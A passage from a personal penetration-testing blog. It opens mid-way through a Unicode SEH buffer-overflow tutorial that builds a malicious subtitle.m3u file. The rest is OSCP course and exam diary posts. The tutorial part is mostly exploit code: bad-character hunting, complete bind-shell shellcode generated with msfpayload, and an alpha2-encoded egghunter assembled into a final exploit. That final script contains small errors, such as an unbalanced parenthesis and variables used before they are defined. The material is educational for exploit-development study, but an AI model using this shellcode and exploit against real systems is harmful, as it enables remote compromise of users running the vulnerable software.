adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0b\x0c\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Which returns an error yet again. Try it with just \x0b and you will find its not that one? \x0d?

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x0d" 

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Yep thats the one. So we also can add \x0d to our list of bad characters. There are no more bad characters for that line so you can place the remaining characters from that line back and you should see them all appear in memory correctly.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e" 

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

This should now work with all characters appearing correctly in memory. Repeat this process for each line that I pasted above. You should generate the following list of bad characters:

• \x00
• \x0a
• \x0d
• \x1a
• \x3a
• \x5c
• \x80

Generating The Bind Shell

To generate the bind shell we could use msfvenom. However I found it kept on including the bad characters in my final payload. So I decided to do it the old way (aka the way I like to do it :P ) :

msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x0a\x0d\x1a\x3a\x5c\x80" -t c

This should generate you shellcode. Copy and paste it into a new file and search through it for each of the bad characters to double check that none of them slipped through. If all is good, make a new section in the code for this shellcode:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

 Please note that the reason we don't encode the payload in Unicode is because you can actually find a copy of the payload that hasn't been converted into Unicode in memory. To check this do:

• View - Memory
• Click on the first entry starting with the lowest number.
• Right click and click search.
• Enter a copy of some of the bytes from your code.
• Observe the fact that Immunity finds a copy of your code unconverted in memory.

Generating the Unicode Egghunter + Tag

To generate the last section of this exploit we will need to use skylined's alpha2 alphanumeric shellcode encoder. You can find a copy here: alpha2.c.

We also need an egghunter. This was obtained from one of corelanc0d3r's awesome tutorials on egghunters. The code is recreated below (taken from https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/)

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

The next step we will need to do is encode this egghunter into Unicode. To do this we take the code from above and paste it into a new file:

#!/usr/bin/python
print ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

Run that script and redirect the output to a file called egghunter.raw. Then do:

gcc alpha2.c -o alpha2

and do:

./alpha2 --unicode --uppercase eax < egghunter.raw > egghunter

The send egghunter over to your host PC and add it into the exploit.

Finally we add the tag to our exploit, making the final exploit look like this (and yes i forgot to take out junk2 in the last one in case your wondering why this one looks a little different ;) ):

#!/usr/bin/python
junk  = "\x41" * (4078-(len(tag + shellcode))
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
tag = "w00tw00t"
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
egghunter =
(
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBC6SQGZKOLO0B0RQZOSR88MNNOLKUPZSDJO6XT7NPNP3DTKKJ6OD5JJ6OBUK7KOYWLJA"
)
exploit = junk + tag + shellcode + nseh + seh + adjust + buffer + egghunter
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Two things to note here:

1. You have to place the tag + shellcode before the NSEH and SEH overwrite. If you were to have placed it after the egghunter, the shellcode would have ran past the end of the memory block allocated for the program and you shellcode would have been truncated.
2. When we adjust the length of the junk, we don't times the len of tag + shellcode by 2. This is because when we calculated the amount of  \x41 's to use for junk, we already took into account Unicode expansion into our total offset. Thus we don't need to times the tag+shellcode by 2 to account for this.

Anyway thats all I have for now guys. If you want to watch a video of this in action you can see my fairly bad video down here (you will want to watch this in 720 px or higher):

Thanks for reading :)

-tekwizz123

Heap Spraying Tutorial - Aurora IE Exploit

Heres a little tutorial I made on Heap Spraying using the Aurora IE Exploit as an example.

The video and sound are two seperate files. Sorry thats just the way it is. Couldn't make it any other way.

Here is the link:

http://tekwizz123.bitcrack.net/uploads/

The two files are below that.

Have fun :)

-tekwizz123

OSCP Certified

So, I know this is kinda late, but im now OSCP certified!

I ended up staying up late one night (about 2 days back) and at like 3 am I check my email and see this:

Congratulations, you have been certified :)

*extra stuff here*

blah blah blah

you should get your certification mailed to you within 80 days.

*my address and sensitive information here*

end

Yep :) So i should get it mailed to me soon. The only downside is that i will have to mail it to my parents first and then get it mailed to my colledge in england. Nothing I can really do about this unless I want further delays.

Anyway, may or may not be active on here. Kinda busy getting ready for colledge atm + getting the mindset right. If you want to talk to me atm im pretty active on IRC. You can find me on the #offsec or #intern0t sections of Freenode.


Well i'll see ya guys around,

-tekwizz123

PWB Exam Review and Insights

Okay I guess a blog post has been looong overdue by this point. Looking back I see the last post I made was a month ago. Let me explain what happened between now and then:

Ok basically after I got stuck in that two week rut, I come to realize that I should ask for help. So basically what happens is that I end up asking people for help, and in exchange I help them out with their problems on #offsec. This actually works quite well, as I end up reinforcing the information that I already learned while learning what I am doing wrong with new ones.

Unfortunetly I have a bit of a problem after that. I got into another 4-5 hosts but I realize I need to do better. Too bad then, because right in the middle of all of this, I have another vacation for a week. To be honest, in retrospect I think I needed that vacation because when I came back from learning how to scuba dive on said vacation, my mind was so much more refreshed and focused.

Anyway, that aside I come back from the vacation and I realize I only have like 3 days left. This then turns into a mad rush as I focus on getting as many last hosts as I can and ask people for help, giving what I can in return. I realize that many of these hosts were not that hard, and that I had just been approaching it from the wrong angle (ex performing brute force on the wrong service or overlooking a simple detail that I underestimated the importance of).

So I end up hacking like another 5-6 hosts in those last few days. And to be honest, I feel rather sad. Why? Well several reasons:

1. I'm out of lab time. Those labs were fun damn it!
2. I don't know if I'm really ready at all.
3. I don't know what hosts I should practice attacking in preparation for the exam.
4. I didn't get into the Dev or Admin network, only the IT one.
5. People generally f****d up the host that connected the student network to the dev one.

* On a side note I will say that the decision to take the exam a bit earlier than I planned was not mine. I have college coming up in case you haven't already noticed, and once I get in I am sure as hell not doing something like this on top of course work. So once I realized this, I had to quickly draw up a plan that would allow me to get a retake if necessary and still give me time to pack up my stuff for England.*

Back to the story...

So I have about a week off before I start the exam. So I book it for Wednesday, and start studying. I find a site called boot2root.info which is hosted by g0tmi1k (amazing guy) where I found pretty much every boot2root you will ever need. Ever.

No I wasn't kidding.

EVER.

So after i'm done jumping around the room like a crazed ape, I decide to download a few challenges. Some them I did before, but I thought it would be good to do them again. So I went through Kioptrix 1, then Kioptrix 2, Kioptrix 3 and then WackoPiko. WackoPiko was tbh interesting. I got a web shell in a few minutes (easy one to do tbh) but I got stuck escalating to root. I kept getting mmap not allowed errors.

 All of a sudden I hit on one that works. For some reason, the mmap from this one was allowed and I get my root shell :) w00tw00t! I kid you not, that gave me the most immense high of the entire course. And it wasn't even one of their machines :P Idk why, but it just did. The feeling of defeating what looks to be a brick wall is one that never gets old.

Anyway Tuesday rolls around and I wake up and start my day normally. At about 12 pm I check my email and this is pretty much what happens:

*Login in*
Ooh email from offsec.
Wait....hold on...exam?
*click exam pack email*
WHAT THE MOTHER ********!?
IT WAS TODAY?
HOLY.....
*runs to pc and downloads everything*
*runs to other pc and prints out guide*
F*** F*** F*** F** F*** F*** F***

Yeah it was that bad. I had lost 6 hours of my lab time, not realizing that I had booked it for Tuesday. The exam warning email even said this, but I had mistakenly not checked the date (which is sent to you in a format like M/D/Y, and not like Tuesday 12th June 2012.)

So I start the exam. I start running the scans and then damn it, then internet cuts off. Connect back to internet and continue scans...

I gather all the information I can about all the ports available + run any information scans I can run. I keep one file open for my scans, and another for each of the steps that I took.

I then read over the lab guide while waiting for the scans to run. Looking it over I realize that the exploit-dev one will most likely take the longest and decide to start on that one first.

*5 hours later*

I test the exploit. I realize it doesn't quite work yet. Modify the exploit

* 5 1/2 hours later*

I get a system shell on the first host and gather the information I need to prove I hacked it.

The next one falls rather easily, though I end up using a metasploit lifeline on it....hmm nothing here that I can use on the other hosts. I gather all the information I can and attempt the next one.

The next 3 go rather slowly. One of them I end up giving up too early and find what I need after trying all possibilities. From there I get stuck again. After a suggestion from a friend I get in, and get stuck trying to do my privilege escalation. Nothing seems to work. Once again, bouncing ideas off of a friend helps clear my head and I get root on the system.

The same goes for the other one.

The last one I manage to get a shell on the system, but I am unable to root it. In the last hour I attempt to crack the SSH login for one of the users, but of course the time runs out. And when I mean runs out I mean at 24 hours they literally cut you off and force you out. No oh...you can get 10 more minutes. When they say 24 they mean 24. No more, no less.

In the end I end up getting 4 systems down and 1 partially compromized, scoring more than enough points to potentially pass. I crash into bed, which actually turns out to be a rather sleepless night, as I keep tossing and turning. Not that im scared about anything tbh, but my body is still on the "We are Tron. We do not stop. We do not falter. Continuing the hack....w00tw00t found....shell time mode..." kind of mode.

Anyway next day I wake up, and I just generally fool around with some British comedy for the next hour or so. Eventually I get my mind focused and get down to it. It ends up taking a hell of a lot longer than I thought. I must have gone from about 10 am to about 9 pm. No joke. Then again I was on Skype and IRC some of the time so that's probably why. But still, I feel ashamed. So 9 pm roars its messed up son of a gun face and I find out via IRC that I need to add in the exploit details for each exploit. Ok no problem. So I go and get that done. Wait....what about the URL for each and every exploit? Oh god...

So I go on a very long quest to get that done. And believe me, doing that as the last thing on the report is NOT FUN AT ALL. It annoyed me. It taunted me. But I got it done in the end.

11 PM

God time moves fast. I pm rAWjAW. I ask him how big the file size needs to be. He says 10 MB per attachment.

Ok np. Lets compress this baby.....or not? I find it only goes down 1 MB after I attempt to compress it.

* One hasty convo with connection later....*

I find out I really aught to do it in PDF. But PDF is 16 MB....meh i'll try the other method.

So I take my .ODT file and try and split that into multiple files.....

*Some long minutes later*

OOPS. Google doesn't allow sending more than 25 MB in attachments. And my .odt report is 31 MB.

I go and fetch the .pdf file and split it up into parts. All good. Upload and send.

And then I wait....

And I wait.....

And eventually I wait an hour.

I get tired of waiting and PM rAWjAW again.

"Hey mate, did you get the email?"

"We will check now, give us a sec"

By this point im so tired im not thinking straight.

"Yep we got it, should recieve an email soon"

And what do I do? Look at soon, think oh....lets wait some more.

2 AM

Eventually I look at that message again and think...oh I aught to check it now.

*checks*

Yep its there.

I shut everything down for the night and head to bed.


And now here we are the day after all of this, and I have to wait around 3 days for the results to come back. Should be good :)

So thats my entire journey put to an end.

If you liked this, +1

If not, tell me why.

If neither of these, I guess you didn't read it.

That or your just completely neutral and never have an opinion :P

Anyway its 12 am here. Time to head to bed.

-tekwizz123

Future Developments

This is more of a question than anything else for you guys.

I'll probably be busy with PWB for the next few weeks until I get to college. In the mean time I'm interested in what you guys are interested in hearing from me.

Here are some of my ideas:

1. iOS Security (would have to be after PWB or around exam time due to time needed to setup and other things)
2. Daily Life and Thoughts
3. More fuzzing and exploitation info.
4. My life in colledge as I learn a hacking degree.
5. *Insert your item here*

Leave a comment below and let me know what you think :)

-tekwizz123

PWB Update

Hey guys,

So its been a while. I apologize for that but between traveling and trying to work on this course I haven't given this blog too much thought until now. So time to make up for all of that.

So the course is actually getting much harder now. At present I now have about 9 hosts left in the student labs, I have one on the IT labs and I have yet to get into the admin or dev networks. Oddly though I did find a host that was dual homed, but it doesn't seem to have a network-secret.txt file anywhere to be found, which is a bit odd; makes me wonder if I got into the Dev networks or not. I only have about 25 days left so its starting to get a bit tight. I always seemt o wonder if I will get into anymore hosts, and then I prove myself wrong.

That being said I have recently had a period where I just felt like giving up. I couldn't see any way of getting into these hosts at all. Again this is where enumeration comes in handy, because yesterday I found that I actually was able to get into one, through the sheer luck of testing a random exploit and finding that it worked. I had overlooked that the website was running a piece of software that was still using a default password and thus allowed me to gain top level privileges on the system.

Anyway I won't be touring as much now, this week i will mostly be in one place.

In other news, if any of you are going to the HOPE conference in New York, please, please leave a comment below. I would love to meet you guys in person and have a chat. I know most of you probably won't be in the area (or the country even) but if you are going it would be a pleasure. Details can be found on the website www.hope.net.

A Complete Agglomeration of Fail

Well I guess you could make that two fails now that I look back on this. First fail: I havn't been blogging nearly as much as I thought I would. Then again that might be a good thing considering how much time has been required for this lab and getting the info + hosts I have gotten so far.

But so far is now only a relative term. Because guess what? I deleted my stuff.

How?

Here's how:

rm -rf * (the directory I wanted to delete instead)

Guess what that equates to? This:

rm -rf *

So poor little me lost about a good 70% of his work in about 10 seconds. Yay. Shall I give a little overview?

Downsides:

• Lost all scans and most of my notes.
• Lost all my pictures.
• All files downloaded from machines are now gone.
• All dumped hashes are now gone.
• The notes on the actual exploits for each machine are now gone.
• Pretty much f***ing everything is now deleted or is not available to me.

Plus Sides:

• For some odd reason, shutter happens to save each photo that you take as a snapshot before you choose the save as button and save it elsewhere. So I still have all my photos, just in a different place.
• My memory for things is good, so I should be able to remember most of the exploits for the various hosts.
• Downloaded files are actually not that big of a problem. Most of them were just downloaded because I could, a few actually mattered though.
• The outline format for the notes still exists, so I know what information needs to go where, I just have to get the info first.

Yeah, so my 20-22 or so hosts that I exploited have to be redone again by hand. Double yay.

/end rant

In other news, I will be heading off to America soon to tour countries with my bro for colledge. Internet will be intermittent so if you have me on Skype just know that I won't be on very often. Because ontop of repairing all this damage I also have to try and wrap up the labs and exploit the last couple of hosts. To add to that I will also be traveling around quite a lot, and thus on those 6 hour car rides you can be sure as hell I won't have internet then.

Anyway, just giving an update on what happened and giving you your daily lolz.

-tekwiz123

Try Harder :)

So its now been 1 week since I first started this course and I must say its starting to kick me in the ass in some places. A prime example of this was today.While I obviously can't release all the details of the challenge, the specific challenge that I was struggling with was the extra mile challenge from chapter 6 of the lab. 

The second one was actually very hard to do. First off, the exploit must end in "}" for the exploit to be triggered, making it rather interesting to find out where to located your shellcode and how it would fit into the provided space. Second off, as noted in one of the fourms, you had to use a DLL from the application itself and not from the OS to get the POP POP RET to work for the SEH. This caused much frustration and confusion for me...though in actually it was pretty obvious that I should have done that as its standard to check application DLLs first, then OS DLLs as this makes the exploit more reliable (the application DLLs load in the same place across OS versions, where as many OS DLLs do.)

The third challenge was getting all of the bad characters sorted out. To do this I used generatecodes.pl and sent this as the payload, then manually checked the results. This allowed me to find that an extra character was also causing problems in addition to the standard ones I had already filtered out, and thus made the application execute the standard SEH handler as per normal.

The fourth and hardest challenged that faced me though was the limited space available for the shellcode. While I can't tell you what I did to go about it, I can say that Corelan's tutorials definitely helped here, and I was able to craft some shellcode that ultimately resulted in a bind shell on port 4444, created via a fairly standard msfpayload encoded to remove all the bad characters.

The main thing I want to point out here is that all of this was possible because when one faces the wall, you really do have to try harder. What I found works best is working at it in chunks. I worked till I felt like I was about to give up, tried a thing or two more, and, wait for the magic...., took a break. Yep. A break really does help, and it lets you calm down and think things through more. This last exploit took me literally a day to create (from 12 am to about 10 pm) on and off so it was a lot of work but the breaks helped to make things clearer.

Well thats all I have for now. :)

-tekwizz123

4 Days In

Yep thats all it took. 4 days in and i broke my machine somehow..... busy backing it up atm, so I thought it would be a good time to give an overview of my thoughts on this course.

So far its been an amazing course. I know im going to be reflecting the thoughts of others here but even if I don't pass, the amount of info and the clarity of its presentation is simply top notch for the most part (a few videos went a bit fast for me, but so far its only been 1-2)

Futhermore the extra mile challenges are, well, actually quite a challenge. So far i have done all of them except for the DNS extra mile challenge, which i skipped because i was too tired to do it then...will have to come back to that one.

As for the actual exploiting part, i managed to get a few boxes on the first day, followed by 1-2 a day on Monday and Tuesday. From there its kinda stopped, and i know have about 6 boxes so far. The total number of boxes in the lab is about 45 or so, so i still have a long way to go.

One of the most interesting things about this course though is that although they don't tell you how to exploit any of the machines, they do give you some help by walking you though how to do different enumeration techniques in the videos, and then ask you to perform these on the labs. This makes for a very enjoyable experience as you get to learn how Mutts would go about doing it, and then your given the opportunity to recreate that in the lab, both learning the skills and gaining knowledge that you will need for later pentests.

Now one of the many things that is asked when taking this course is how much programming language that you need. From my personal experience, walking into this course I had known some programming from my exploit development and Grey Hat Python book, but i had no experience in Bash whatsoever. Personally speaking, I do think you need a bit of programming knowledge to understand some sections reguarding Python if you don't want to get caught up and have to look everything up, but then again you could enter this course without any experience in it; it just might hinder your progress a little bit.

As for the bash side, if you don't know it don't worry. So long as you know how to move around and do basic things in Linux, you will be fine. Honestly I didn't know how the cut command worked at all, and Muts provided one of the best examples of it, and know I love it. /being lame comment Bash has sort of become my new best friend in a way /end lame comment

Overall, very very good course. Unfortunetly I can't say much more as im only beginning module 6 + I don't want to spoil the course for you guys who might be considering taking it.


Now im going to go fix this dang pc...........raaaaaagh.....i think i might also have some cookies with that ;)

-tekwizz123 (*munch*)

The Day Before....

Okay so its the day before PWB starts and im super bored so I thought I would give ya all an update.

Anyway, today I'm officially graduating from school :) Ceromony starts at 2pm and as I write this right now its 10:30 am, though I was up at 8 am after by bro busted into my room to find a calculator for his SAT test (yep today is one of those days)

This also means that im going to spend the good part of an hour waiting for my diploma, since i go last as my last name starts with a "W"......yaaay....big woop.

Futhermore that also means my family can't see me either......


Anyway enough about me, and onto my thoughts about PWB. Yesterday I asked around to find what would be the best way to prepare on my last day before the exam and some people have recommended that you do some boot2roots. (A great list can be found on g0tmi1k's website. Search google for "vulnerable by design" and you should find it)

So naturally I downloaded some, specifically all of the Kioptrix ones. So far as of this morning I have managed to get through the first three, though I had to ask for help on one of them (the second level) because the exploit on exploit-db is out of date, and thus won't work, and on another one.

Specifially that second one was an interesting lesson. This is something you may want to keep in mind when pentesting:

• Don't upload php files to a server via wget without renaming them to .php.txt first.

Why? Well, if you don't rename the file, wget will automatically interpret that file for you on the server. Which is not good if all that results in is a shell on your own server rather than on the remote host hehe.

Yeah other than that i'm working on r00ting Kioptrix Level 4 atm, but it seems like one of the files is missing from the archive.....odd, but i'll figure it out soon.

Also have downloaded a few wordlists from g0tmi1k's site in case I need them for bruteforcing and went ahead and printed out his privledge escalation guide that will help me when I get stuck on getting r00t on the linux hosts.

That's pretty much all i have to say for now....lets see what tomorrow brings.